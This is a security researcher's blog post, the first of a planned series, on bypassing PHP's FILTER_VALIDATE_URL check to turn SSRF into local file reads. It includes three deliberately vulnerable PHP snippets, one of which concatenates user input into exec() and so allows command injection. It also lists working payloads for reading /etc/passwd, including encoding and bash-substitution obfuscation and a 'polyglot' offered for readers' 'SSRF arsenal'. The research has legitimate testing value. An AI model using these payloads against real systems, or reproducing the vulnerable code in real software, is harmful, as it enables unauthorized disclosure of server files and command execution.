On SSRF (Server Side Request Forgery) or Simple Stuff Rodolfo Found — Part I

Rodolfo Assis (Brute)
4 min readJul 20, 2021
A SSRF polyglot for the cases you will see in this blog post!

I think the most we have to test against an application the better. But as you can see by yourself (correct me if I’m wrong please) the following set of scenarios and payloads are not addressed in most of the lists you can find out there for SSRF (Server Side Request Forgery). At least I didn’t find them in the very first Google results about “SSRF payloads” or “SSRF Cheat Sheet”.

So this blog post (series) is about what I’ve found, with simple coding at my own side. That’s probably what we would call RESEARCH because although not fancy or complicated stuff, it certainly can contribute to the knowledge about SSRF out there so that’s what matters. :-)

For SSRF I was interested here in just the LFR/LFD (Local File Read/Disclosure) outcome so for that I’ve used the following 3 main ways to retrieve an URL in PHP:

  • curl library
  • file_get_contents()
  • exec()

Obviously, exploitation of those scenarios without any kind of validation or filtering is pretty straightforward:

file:///etc/passwd

But I was interested in bypass of simple validation like the one provided by filter_var() with FILTER_VALIDATE_URL and FILTER_FLAG_QUERY_REQUIRED because these are the bare minimum to validate an URL which is what input is supposed to pass to application in a legit way.

So here’s the first vulnerable code:

<?phpfunction curl($url) {   $optArray = array(
CURLOPT_URL => $url,
CURLOPT_FOLLOWLOCATION => 1
);
$ch = curl_init();
curl_setopt_array($ch, $optArray);
$response = curl_exec($ch) or die("Error!");
curl_close($ch);

return $response;
}
$content = curl(filter_var($_GET["url"], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED));echo $content;

It is supposed to work that way:

Content of an URL with query loaded.

As you can see below, our default payload doesn’t work:

Default LFR payload not validated.

But the following works!

file:/etc/passwd?/

LFR payload “file:/etc/passwd?/” validated.

Notice there’s not even the need to use 3 slashes after file scheme. Question mark makes it pass the validation (mimics an URL query) with the need of something after it (a non empty query).

This one also accepts an URL double encoding trick to help with evasion:

LFR payload “file:/etc/passwd?/” with URL double encoding obfuscation.

Let’s get into our 2nd way, file_get_contents():

<?php$f = filter_var($_GET["url"], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED) or die("Error!");echo file_get_contents($f);

Again our default payload doesn’t work.

Default LFR payload not validated.

But our new construct does.

file:///etc/?/../passwd

LFR payload “file:///etc/?/../passwd” validated.

Again, the use of “?” makes it pass the validation while we use it as some dir/folder name. Then we need to use the “/../” trick to get back to “/etc/”.

For our 3rd case, here’s the code (leave command injection apart by now):

<?php$url = filter_var($_GET["url"], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED);exec('curl -L ' . $url, $content) or die("Error!");
print_r($content);

A dummy attempt with default payload:

Default LFR payload not validated.

And the successful one.

file:/etc/passwd?/

LFR payload “file:/etc/passwd?/” validated.

Which are the same as the 1st case but it allows some interesting obfuscation tricks:

file:${br}/et${u}c/pas${te}swd?/

LFR payload “file:/etc/passwd?/” with var replacement obfuscation.

Because “${x}” (where “x” can be any regular char or string) is a bash replacement for a variable which must not exists to be simply discarded in the command executed. A “$(x)” can also be used.

So here’s our list by now to add to your SSRF arsenal!

file:/etc/passwd?/
file:/etc/passwd%3F/
file:/etc%252Fpasswd/
file:/etc%252Fpasswd%3F/
file:///etc/?/../passwd
file:///etc/%3F/../passwd
file:${br}/et${u}c/pas${te}swd?/
file:$(br)/et$(u)c/pas$(te)swd?/
file:${br}/et${u}c%252Fpas${te}swd?/
file:$(br)/et$(u)c%252Fpas$(te)swd?/
file:${br}/et${u}c%252Fpas${te}swd%3F/
file:$(br)/et$(u)c%252Fpas$(te)swd%3F/
file:///etc/passwd?/../passwd

This last one is the SSRF polyglot for all 3 cases above.

It’s possible (or needed) to URL encode some other chars like “:” , “.” and “/” which will increase this list a little bit.

Until next SSRF (Simple Stuff Rodolfo Found) post(s)! ;-)

Don’t learn to hack, #hack2learn.

Check my XSS online stuff, it might help you somehow! :-)

KNOXSS

Brute XSS Blog

Brute XSS Cheat Sheet

Thanks for your attention!

Rodolfo.

--

--

Rodolfo Assis (Brute)

Artist, free thinker. Computer hacker known as Brute (@brutelogic). Follow me in Twitter @rodoassis.